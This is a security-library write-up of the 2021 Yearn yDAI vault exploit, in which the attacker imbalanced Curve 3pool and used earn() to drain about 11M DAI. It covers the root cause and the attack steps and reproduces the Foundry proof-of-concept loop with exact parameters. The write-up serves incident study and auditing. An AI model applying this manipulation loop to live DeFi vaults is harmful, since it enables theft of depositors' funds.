# Yearn yDAI: Curve 3pool imbalance drains vault via earn()

Attacker imbalanced Curve 3pool then forced Yearn yDAI vault to deposit/withdraw at bad rates, draining ~11M DAI.

- Payout: Real-world hack
- Severity: critical
- Program: Yearn YDai
- Analysis by: DeFiHackLabs
- Disclosed: 2021-02-04
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-02/Yearn_ydai_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210204-yearn-ydai
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:accounting-error vuln:business-logic vuln:oracle-manipulation

**Target:** Yearn v1 yDAI vault + Curve 3pool
**Root cause:** yDAI vault's slippage protection was set too loose (1%) and withdrawal fee 0%, so an attacker could manipulate Curve 3pool exchange rates and force the vault to deposit/withdraw at unfavorable rates via permissionless earn().
**Steps:**
1. Deposit 134m USDC and 37.97m DAI into Curve 3pool to mint 3crv shares.
2. Withdraw 167.47m USDT from 3pool, creating imbalance (USDT scarce).
3. Deposit DAI into yDAI vault; call `earn()` so vault deposits DAI into imbalanced 3pool at bad rate.
4. Deposit 167.47m USDT back into 3pool to partially restore imbalance.
5. Withdraw DAI from yDAI vault; 3pool returns only 92.3m DAI, leaving 0.7m of vault funds in pool.
6. Withdraw 167.47m USDT again to re-imbalance; repeat loop with decreasing amounts.
7. Final round: redeem initial 3crv shares for 134m USDC and 39.4m DAI (2.9m DAI more than deposited).
**How found:** Yearn security team noticed an odd transaction pattern of a contract interacting with vaults; review identified the DAI v1 vault and the earn()-driven deposit into an imbalanced 3pool.
**Exploitation:** Attacker held large 3crv position, repeatedly imbalanced 3pool by removing USDT, forced yDAI vault to deposit DAI at unfavorable rate via earn(), then restored imbalance and withdrew, capturing the vault's slippage loss. Repeated across 11 txs over 38 minutes before mitigation; ~11M DAI lost, ~2.7M DAI attacker profit.
**Escalation:** Loop repeated with decreasing amounts across 11 transactions to maximize extraction before mitigation.
**Insight:** Vaults that permissionlessly push user funds into an AMM via earn()/harvest are exposed to exchange-rate manipulation; check whether slippage tolerance and fees are loose enough to make a debalance-restore loop profitable.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test: imbalance, deposit, earn, withdraw loop**

```
function testAttack() public {
        // Construct the exploit logic here
        uint256 hacker_dai_amt_before = dai.balanceOf(address(this));
        uint256 hacker_usdc_amt_before = usdc.balanceOf(address(this));

        require(usdt.balanceOf(address(this)) == 0, "has usdt");
        require(crv3.balanceOf(address(this)) == 0, "has c3rv");
        require(yvdai.balanceOf(address(this)) == 0, "has ydai");

        // First make the pool imbalanced
        curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0);

        // Exploit loop
        for (uint256 i = 0; i < 5; i++) {
            curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount);

            yvdai.deposit(earn_amt[i]);
            yvdai.earn();

            if (i != 4) {
                curve.add_liquidity([0, 0, remove_usdt_amt], 0);
            } else {
                curve.add_liquidity([0, 0, remove_usdt_amt_final_round], 0);
            }

            yvdai.withdrawAll();
        }

        // Convert some 3crv
        uint256 dai_difference = hacker_dai_amt_before - dai.balanceOf(address(this));
        curve.remove_liquidity_imbalance([dai_difference + 1, init_add_usdc_amt + 1, 0], max_3crv_amount);
        require(dai.balanceOf(address(this)) == hacker_dai_amt_before + 1, "incorrect dai bal after attack");
        require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before + 1, "incorrect usdc amount after attack");

        //Lets give back our initial funding to see real profit
        writeTokenBalance(address(this), address(dai), dai.balanceOf(address(this)) - hacker_dai_amt_before);
        writeTokenBalance(address(this), address(usdc), usdc.balanceOf(address(this)) - hacker_usdc_amt_before);
        //This is attacker profit, Only does one run to show it
        console.log("Attacker get 3crv amt: %d", crv3.balanceOf(address(this)) / 1e18);
        console.log("Attacker get usdt amt: %d", usdt.balanceOf(address(this)) / 1e6);
    }
```

**Exploit parameters: earn amounts and USDT removal amounts**

```
uint256 constant max_3crv_amount = 300_000_000_000_000_000_000_000_000;
    uint256 constant remove_usdt_amt = 167_473_454_967_245;
    uint256 constant remove_usdt_amt_final_round = 167_288_317_922_857;
    uint256[] earn_amt = [
        105_469_871_996_916_702_826_725_376,
        104_706_920_396_703_142_299_856_646,
        103_948_014_417_774_019_565_578_888,
        103_192_919_800_803_744_390_557_088,
        102_441_640_504_232_413_679_923_590
    ];
    uint256 constant init_add_dai_amt = 37_972_761_178_915_525_047_091_200;
    uint256 constant init_add_usdc_amt = 133_000_000_000_000;
```

